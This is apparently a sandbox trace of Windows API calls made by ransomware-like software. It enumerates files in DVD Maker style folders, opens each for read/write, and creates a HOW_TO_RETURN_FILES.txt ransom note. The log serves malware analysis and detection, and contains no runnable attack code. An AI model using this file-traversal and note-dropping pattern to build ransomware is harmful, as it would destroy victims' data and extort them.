GetACP () returned 0x4e4 [0125.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="title_trans_scene.wmv.wmv", lpUsedDefaultChar=0x37dec0) returned 21 [0125.865] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.865] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.865] AreFileApisANSI () returned 1 [0125.865] GetACP () returned 0x4e4 [0125.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_Trans_Scene_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 25 [0125.865] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.866] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.866] AreFileApisANSI () returned 1 [0125.866] GetACP () returned 0x4e4 [0125.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="userContent_16x9_imagemask.pngg", lpUsedDefaultChar=0x37dec0) returned 30 [0125.866] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.866] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.866] AreFileApisANSI () returned 1 [0125.866] GetACP () returned 0x4e4 [0125.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="whitemenu.png6x9_imagemask.png", lpUsedDefaultChar=0x37dec0) returned 13 [0125.866] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.866] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.866] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.867] AreFileApisANSI () returned 1 [0125.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0125.867] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.869] GetFileType (hFile=0x130) returned 0x1 [0125.870] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.870] AreFileApisANSI () returned 1 [0125.870] GetACP () returned 0x4e4 [0125.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets", cchWideChar=4, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Petsormance", lpUsedDefaultChar=0x37df4c) returned 4 [0125.870] AreFileApisANSI () returned 1 [0125.870] GetACP () returned 0x4e4 [0125.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\j㖬h") returned 49 [0125.875] AreFileApisANSI () returned 1 [0125.875] GetACP () returned 0x4e4 [0125.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.875] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.875] AreFileApisANSI () returned 1 [0125.875] GetACP () returned 0x4e4 [0125.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.875] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.875] AreFileApisANSI () returned 1 [0125.875] GetACP () returned 0x4e4 [0125.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Notes_INTRO_BG.wmv47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 18 [0125.875] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.875] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.875] AreFileApisANSI () returned 1 [0125.875] GetACP () returned 0x4e4 [0125.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Notes_INTRO_BG_PAL.wmv28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 22 [0125.875] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.876] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.876] AreFileApisANSI () returned 1 [0125.876] GetACP () returned 0x4e4 [0125.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG.wmv", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Notes_LOOP_BG.wmvL.wmv", lpUsedDefaultChar=0x37dec0) returned 17 [0125.876] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.876] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.876] AreFileApisANSI () returned 1 [0125.877] GetACP () returned 0x4e4 [0125.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notes_LOOP_BG_PAL.wmv", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Notes_LOOP_BG_PAL.wmvv", lpUsedDefaultChar=0x37dec0) returned 21 [0125.877] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.877] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.877] AreFileApisANSI () returned 1 [0125.877] GetACP () returned 0x4e4 [0125.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_btn-back-over-select.png", cchWideChar=29, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_btn-back-over-select.pngw5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 29 [0125.877] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.878] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.878] AreFileApisANSI () returned 1 [0125.878] GetACP () returned 0x4e4 [0125.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_btn-back-static.pngt.png", lpUsedDefaultChar=0x37dec0) returned 24 [0125.878] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.878] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.878] AreFileApisANSI () returned 1 [0125.878] GetACP () returned 0x4e4 [0125.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_btn-next-over-select.png", lpUsedDefaultChar=0x37dec0) returned 29 [0125.878] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.878] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.879] AreFileApisANSI () returned 1 [0125.879] GetACP () returned 0x4e4 [0125.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_btn-next-static.pngt.png", lpUsedDefaultChar=0x37dec0) returned 24 [0125.879] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.879] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.879] AreFileApisANSI () returned 1 [0125.879] GetACP () returned 0x4e4 [0125.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_btn-over-DOT.pngpng", lpUsedDefaultChar=0x37dec0) returned 21 [0125.879] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.880] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.880] AreFileApisANSI () returned 1 [0125.880] GetACP () returned 0x4e4 [0125.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_btn-previous-over-select.pngXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 33 [0125.880] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.880] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.880] AreFileApisANSI () returned 1 [0125.880] GetACP () returned 0x4e4 [0125.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_btn-previous-static.pngt.png", lpUsedDefaultChar=0x37dec0) returned 28 [0125.880] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.880] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.881] AreFileApisANSI () returned 1 [0125.881] GetACP () returned 0x4e4 [0125.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_frame-border.pngtic.png", lpUsedDefaultChar=0x37dec0) returned 21 [0125.881] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.881] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.881] AreFileApisANSI () returned 1 [0125.881] GetACP () returned 0x4e4 [0125.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_frame-highlight.png.png", lpUsedDefaultChar=0x37dec0) returned 24 [0125.881] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.881] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.881] AreFileApisANSI () returned 1 [0125.881] GetACP () returned 0x4e4 [0125.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_frame-imageMask.png", lpUsedDefaultChar=0x37dec0) returned 24 [0125.881] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.890] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.890] AreFileApisANSI () returned 1 [0125.890] GetACP () returned 0x4e4 [0125.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_frame-shadow.pngpng", lpUsedDefaultChar=0x37dec0) returned 21 [0125.890] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.890] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.890] AreFileApisANSI () returned 1 [0125.890] GetACP () returned 0x4e4 [0125.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_image-frame-backglow.png", cchWideChar=29, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_image-frame-backglow.png.png", lpUsedDefaultChar=0x37dec0) returned 29 [0125.890] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.891] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.891] AreFileApisANSI () returned 1 [0125.891] GetACP () returned 0x4e4 [0125.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_image-frame-border.png", cchWideChar=27, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_image-frame-border.pngng", lpUsedDefaultChar=0x37dec0) returned 27 [0125.891] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.891] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.891] AreFileApisANSI () returned 1 [0125.891] GetACP () returned 0x4e4 [0125.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_image-frame-ImageMask.pngpng", lpUsedDefaultChar=0x37dec0) returned 30 [0125.891] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.892] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.892] AreFileApisANSI () returned 1 [0125.892] GetACP () returned 0x4e4 [0125.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Pets_notes-txt-background.pngg", lpUsedDefaultChar=0x37dec0) returned 29 [0125.892] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.892] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.892] AreFileApisANSI () returned 1 [0125.892] GetACP () returned 0x4e4 [0125.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rollinghills.png", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="rollinghills.pngackground.png", lpUsedDefaultChar=0x37dec0) returned 16 [0125.892] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.893] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.893] AreFileApisANSI () returned 1 [0125.893] GetACP () returned 0x4e4 [0125.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Scenes_INTRO_BG.wmvground.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.893] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.893] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.893] AreFileApisANSI () returned 1 [0125.893] GetACP () returned 0x4e4 [0125.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Scenes_INTRO_BG_PAL.wmvnd.png", lpUsedDefaultChar=0x37dec0) returned 23 [0125.893] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.894] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 